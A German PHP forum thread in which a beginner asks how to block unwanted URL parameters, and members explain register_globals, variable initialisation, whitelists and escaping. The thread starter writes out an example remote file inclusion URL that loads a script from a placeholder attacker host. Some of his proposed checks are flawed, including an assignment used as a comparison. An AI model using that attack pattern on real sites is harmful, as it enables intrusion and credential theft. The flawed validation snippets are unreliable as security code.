Nur bestimmte Variablen zulassen - Wie ?? |
dee123
Otto-Normal-Poster Threadstarter
Beiträge: 63 |
Hallo,
ich übergebe die Variablen auf meiner seite in der Form
wie bekomme ich es hin, daß ich nur solche Variablen zulasse, die ich vorher auch klar definiert habe ( also var1, var2 usw) ?
Ich hab es schon auf die art:
1: | if (isset($c) || isset($d) || isset ($e) .......) {echo "unzulässiger aufruf";} |
natürlich ist das nur eine unzureichende Art, unzulässige Variablen zu eliminieren.
Dies scheint mir eine Art Sicherheitsrisiko zu sein, da ich im Netz Scripte gesehen hab, die sich auf den Server in der Form
www.meineseite.de/seite.php?c=img&name=wasweissich |
einschleichen und z.B. Verzeichnisse durchstöbern können, PHP-Dateien auslesen etc.
Hat jemand eine Idee?
---
Meine alte Signatur gefiel mir nicht mehr. Darum hab ich jetzt eine neue.
|
 Profil
Website
Editieren
Zitieren
|
languitar
Foren-Team
Beiträge: 2795 |
Das ist alles kein Problem, wenn du deine Variablen mit $_GET['var'] ausliest udn den Inhalt prüfst. Das einzige was dir in die Quere komem nkann ist register_globals = on, aber ich meine das kann man per htaccess abschalten?
|
 Profil
Editieren
Zitieren
|
subjective
Forenheld
Beiträge: 844 |
Du mußt einfach intern alle Variablen, welche du auch nutzt, zuerst initialisieren. Wenn jemand dann versuchen würde, über eine dieser Variablen Werte einzuschleusen, würden sie bei der Initialisierung einfach ersetzt werden.
Die erste Nutzung einer Variable in einem Script muss also immer eine Zuweisung oder eine Prüfung (gewollte Übergabewerte) sein.
---
Weaverslave
|
 Profil
Website
Editieren
Zitieren
|
dee123
Otto-Normal-Poster Threadstarter
Beiträge: 63 |
Hallo,
hab es jetzt anders gelöst:
1: | if (($_SERVER['argc'] !=0) && !isset($meinegewünschteVariable)) {echo"Unzulässiger Funktionsaufruf"; exit;} |
So geht´s...
PS zur Info: die Var "$argc" ist eine vom PHP-Server vordefinierte Variable, welche die Anzahl der übergebenen Variablen ausgibt. Clever gemacht, die Jungs von PHP, ne?!
---
Meine alte Signatur gefiel mir nicht mehr. Darum hab ich jetzt eine neue.
Diese Nachricht wurde geändert von: dee123 |
 Profil
Website
Editieren
Zitieren
|
languitar
Foren-Team
Beiträge: 2795 |
Ich versteh den Sinn nicht...
|
 Profil
Editieren
Zitieren
|
dee123
Otto-Normal-Poster Threadstarter
Beiträge: 63 |
Na ist doch ganz einfach:
Es werden Variablen übergeben. Welche spielt erstmal keine Rolle.
Die Anzahl der übergebenen Vars wird gezählt ($argc)
Wenn die Anzahl ungleich (also auch größer) Null ist und die gewünschte Var nicht gesetzt ist, dann kommt die Meldung "Unzul. Aufruf".
Hintergrund hab ich doch oben schon erwähnt. Aber jetzt nochmal genauer:
Da kommt also ein Hacker daher und findet, daß meine Seite genau das richtige für seine Angriffe ist. Er tippt in die Adresszeile
h**p://www.meineseite.de/index.php?seite=h**p://www.hackerseite.de/hackertool.php.
Mit dem includetem Hackertool übergibt er die von Ihm definierten Variablen und kann u.a. meine Verzeichnisse auslesen, kopieren, Verbindungsdaten für die MySQL-Datenbank einsehen und so weiter.
Das find ich dann nicht so toll. Und deshalb hab ich mir gedacht: Wie kann ich die Vars des Hackers einfach unterbinden? Klar jetzt, oder? Das mit dem "?seite=h**t://...." hab ich in einem anderen Thread schon gelöst...
---
Meine alte Signatur gefiel mir nicht mehr. Darum hab ich jetzt eine neue.
|
 Profil
Website
Editieren
Zitieren
|
subjective
Forenheld
Beiträge: 844 |
Das ist keine Lösung. Es werden ja keine unzulässigen Variablen genutzt sondern Variablen die du in deinem Script hast und nicht ausreichend prüfst oder Variablen die halt nicht sauber initialisiert werden, wodurch die übergebenen Werte genutzt werden.
In beiden Fällen sind die Variablen in Script und werden genutzt. Nur halt fehlerhaft.
argc und argv sind für Commandline-Scripte (php-cli) gedacht. Nicht für eine solche Prüfung.
---
Weaverslave
|
 Profil
Website
Editieren
Zitieren
|
dee123
Otto-Normal-Poster Threadstarter
Beiträge: 63 |
also, das verstehe ich jetzt nun wiederum nicht.
Was kann denn jetzt bei bösen Angriffen noch passieren? Hast du mal ein Beispiel?
---
Meine alte Signatur gefiel mir nicht mehr. Darum hab ich jetzt eine neue.
|
 Profil
Website
Editieren
Zitieren
|
languitar
Foren-Team
Beiträge: 2795 |
Najam was bringt es einem Angreifer, wenn er noch die Variable sicherheitsleck=blaaaaa mit anhägt. Solange diese variable nicht in deinem Skript benutzt wird, nützt ihm das doch gar nichts. Das verbietet aber deine Prüfung. Ein wirklicher Angriff kann doch nur geschehen, indem der Inhalt der von dir benutzten Variablen geändert wird und da hilft deine Überprüfung gar nicht. Um einen Angriff dieser Art zu verhindern musst du lediglich den Inhalt der per Post und Get erstellen Variablen hinreichend prüfen und die zugelassenen Werte so weit wie möglich eingrenzen.
|
 Profil
Editieren
Zitieren
|
dee123
Otto-Normal-Poster Threadstarter
Beiträge: 63 |
Jo, jetzt hab ich das verstanden. Es geht sich um den Inhalt der Variable.
Ich müsste also vor der Ausführung des Scripts eine Abfrage starten in der Form
1: | if ($seite="inhalt1" || $seite="inhalt2"........) { exec irgendwas } else { Abbruch} |
Wobei "inhalt1" und "inhalt2" der von mir definierte Inhalt sein soll.
Hast du das so gemeint?
---
Meine alte Signatur gefiel mir nicht mehr. Darum hab ich jetzt eine neue.
|
 Profil
Website
Editieren
Zitieren
|
languitar
Foren-Team
Beiträge: 2795 |
Du könntest auch Regular Expresions oder was auch immer für Prüfungsmechanismen benutzten. Aber so ist es schon richtiger als andersrum.
|
 Profil
Editieren
Zitieren
|
subjective
Forenheld
Beiträge: 844 |
Wichtig ist das solche Werte gründlich geprüft werden, bevor sie in einem include oder ähnlichem Landen. Bei einen Include hilft eine Whitelist (ein Array mit den gültigen Werten). Für andere Funktionen gibts es Escape-Funktionen (mysql_real_escape_string, escape_shell_args, ...)
Bei intern genutzten Variablen (also alles was nicht $_GET, $_POST, ... ist), sollte der erste Zugriff immer eine Zuweisung sein.
$myvar = 0;
---
Weaverslave
|
 Profil
Website
Editieren
Zitieren
|
dee123
Otto-Normal-Poster Threadstarter
Beiträge: 63 |
Leute,
ich verzweifle....
Versuch schon das ganze verlängerte WE, den Variableninhalt so einzugrenzen, daß nichts anderes mehr möglich ist, als das von mir gewollte. ICH KRIEGS EINFACH NICHT HIN !!!!
Hab es mit nem Switch ( "Case 0: bis Case 1Mio) versucht, aber das kann es irgendwie auch nicht sein. Dann nochmal mit dem "ereg_replace(), preg_match() usw. Und dann hat mein Gehirn nur noch "tilt" angezeigt... Das wars.
Ich steig wieder auf das gute alte HTML um und erschieß mich danach.....
---
Meine alte Signatur gefiel mir nicht mehr. Darum hab ich jetzt eine neue.
|
 Profil
Website
Editieren
Zitieren
|
languitar
Foren-Team
Beiträge: 2795 |
Moment, dann zeig doch mal bei welchem Aufruf du was begrenzen willst?
Tote gibts hier nicht, ich bin dein Schutzengel
Diese Nachricht wurde geändert von: languitar |
 Profil
Editieren
Zitieren
|
subjective
Forenheld
Beiträge: 844 |
Wahrscheinlich denkst du zu kompliziert.
---
Weaverslave
|
 Profil
Website
Editieren
Zitieren
|